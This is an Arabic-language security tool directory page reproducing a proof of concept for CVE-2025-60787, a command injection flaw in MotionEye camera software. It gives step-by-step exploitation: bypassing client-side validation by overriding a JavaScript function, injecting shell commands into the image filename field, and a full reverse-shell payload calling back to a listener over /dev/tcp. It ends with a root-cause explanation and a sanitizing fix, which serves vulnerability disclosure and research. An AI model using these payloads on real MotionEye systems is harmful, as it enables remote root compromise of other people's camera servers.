Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-60787 — إثبات المفهوم لثغرة CVE-2025-60787، يوضح تنفيذ التعليمات البرمجية عن بُعد في MotionEye <= 0.43.1b4 عبر تجاوز التحقق من صحة جانب العميل وحقن الأوامر في اسم ملف الصورة. | Kitploit
أدوات/GitHubGitHub/prabhatverma47/cve-2025-60787
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمر
GitHubprabhatverma47/cve-2025-60787

CVE-2025-60787

إثبات المفهوم لثغرة CVE-2025-60787، يوضح تنفيذ التعليمات البرمجية عن بُعد في MotionEye <= 0.43.1b4 عبر تجاوز التحقق من صحة جانب العميل وحقن الأوامر في اسم ملف الصورة.

عرض المستودع
16منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
الرابط الأصلي: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

MotionEye RCE عبر تجاوز التحقق من جهة العميل

الملخص

أثناء اختبار أمني لمثيل MotionEye يعمل داخل Docker، لوحظ أنه يمكن تجاوز التحقق من جهة العميل داخل واجهة الويب. وهذا يسمح بإرسال مدخلات عشوائية، بما في ذلك الحمولات التي يمكن أن تؤدي إلى تنفيذ أوامر على الحاوية المضيفة. تشكل هذه المشكلة خطر تنفيذ الأوامر عن بُعد (RCE) إذا تم استغلالها.

الإصدارات المتأثرة: جميع الإصدارات حتى 0.43.1b4 شاملة
حالة التصحيح: لا يوجد تصحيح متاح حتى الآن. يوجد حل بديل مذكور في هذا التنبيه.
مرجع المشروع: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


البيئة

  • الهدف: MotionEye يعمل داخل Docker
  • الصورة: ghcr.io/motioneye-project/motioneye:edge
  • المنفذ المكشوف: 9999 مرتبط بمنفذ الحاوية 8765
  • بيانات الاختبار: admin / كلمة مرور فارغة (افتراضي)

خطوات إعادة الإنتاج

1. إعداد الحاوية

قم بتشغيل الأمر التالي لبدء تنزيل صورة Docker وتشغيل الحاوية

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
image

2. التحقق من الإصدار

docker logs motioneye | grep "motionEye server"

النتيجة: خادم MotionEye 0.43.1b4 image

3. الوصول إلى نظام الملفات

بمجرد تشغيل حاوية Docker، يمكن الوصول إلى قشرة الحاوية باستخدام الأوامر التالية

docker exec -it motioneye /bin/bash
ls -la /tmp
image

4. الوصول الأولي

الوصول إلى الواجهة عبر:
http://127.0.0.1:9999
تسجيل الدخول: admin (كلمة مرور فارغة)

5. إعداد الكاميرا

تمت إضافة كاميرا شبكة RTSP نموذجية.
image

6. محاولة الحقن

تم إدخال أمر تنفيذ خبيث في حقل "الصور الثابتة" > "اسم ملف الصورة"، ولكن تم مواجهة خطأ في التحقق من جهة العميل.

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

تم حظره بواسطة التحقق من جهة العميل.
image

image

7. اكتشاف التحقق من جهة العميل

البرنامج النصي التالي مسؤول عن التحقق: /static/js/main.js?v=0.43.1b4، والذي يشير إلى /static/js/ui.js?v=0.43.1b4 لتنفيذ شروط التحقق.

الملف: /static/js/main.js?v=0.43.1b4 يشير إلى /static/js/ui.js?v=0.43.1b4

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. تقنية التجاوز

من خلال تجاوز دالة configUiValid في وحدة تحكم المتصفح، يمكن تجاوز جميع فحوصات التحقق: أدخل المقتطف التالي في وحدة تحكم المتصفح (F12 أو Ctrl+Shift+I)

configUiValid = function() { 
    return true; 
};
image

9. تنفيذ الحمولة

الآن يمكن إدخال الحمولة مباشرة دون أي تحقق: قم بتعيين ما يلي وتطبيق الإعدادات

الإعدادات:

  • وضع الالتقاط = لقطات دورية
  • الفاصل الزمني = 10
  • اسم ملف الصورة:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
image

تم التطبيق ← تم إنشاء الملف بصلاحيات الجذر.

image

التأثير: تسليح RCE

إنتاج قشرة عكسية بسيطة:

المستمع:

nc -lvnp 4444
image

الحمولة المحقونة:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
image

النتيجة: تم الحصول على قشرة عن بُعد.


السبب الجذري وسير العمل

MotionEye عرضة للخطر لأنه يأخذ مدخلات المستخدم من لوحة الويب ويكتبها مباشرة في ملفات إعدادات Motion دون التحقق من الأحرف الخطرة. على سبيل المثال، يتم إرسال حقل image_file_name في الواجهة إلى الخادم الخلفي (config.py) وحفظه في /etc/motioneye/camera-.conf. عندما يعيد MotionEye تشغيل خدمة Motion (motionctl.start)، تقرأ عملية Motion ملف الإعداد هذا. إذا كان حقل picture_filename يحتوي على صيغة قشرة مثل $(touch /tmp/test)، فسيقوم Motion بتشغيلها كأمر حقيقي بدلاً من معاملتها كجزء من اسم الملف.

مدخلات غير معقّمة تُكتب في ملفات إعدادات Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parses picture_filename → executes payload


الوقاية

إصلاح التعقيم

الملف: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

def sanitize_filename(value):
    # allow only letters, numbers, %, _, -, /, .
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # safe fallback
    return value
image
تنزيل الأداة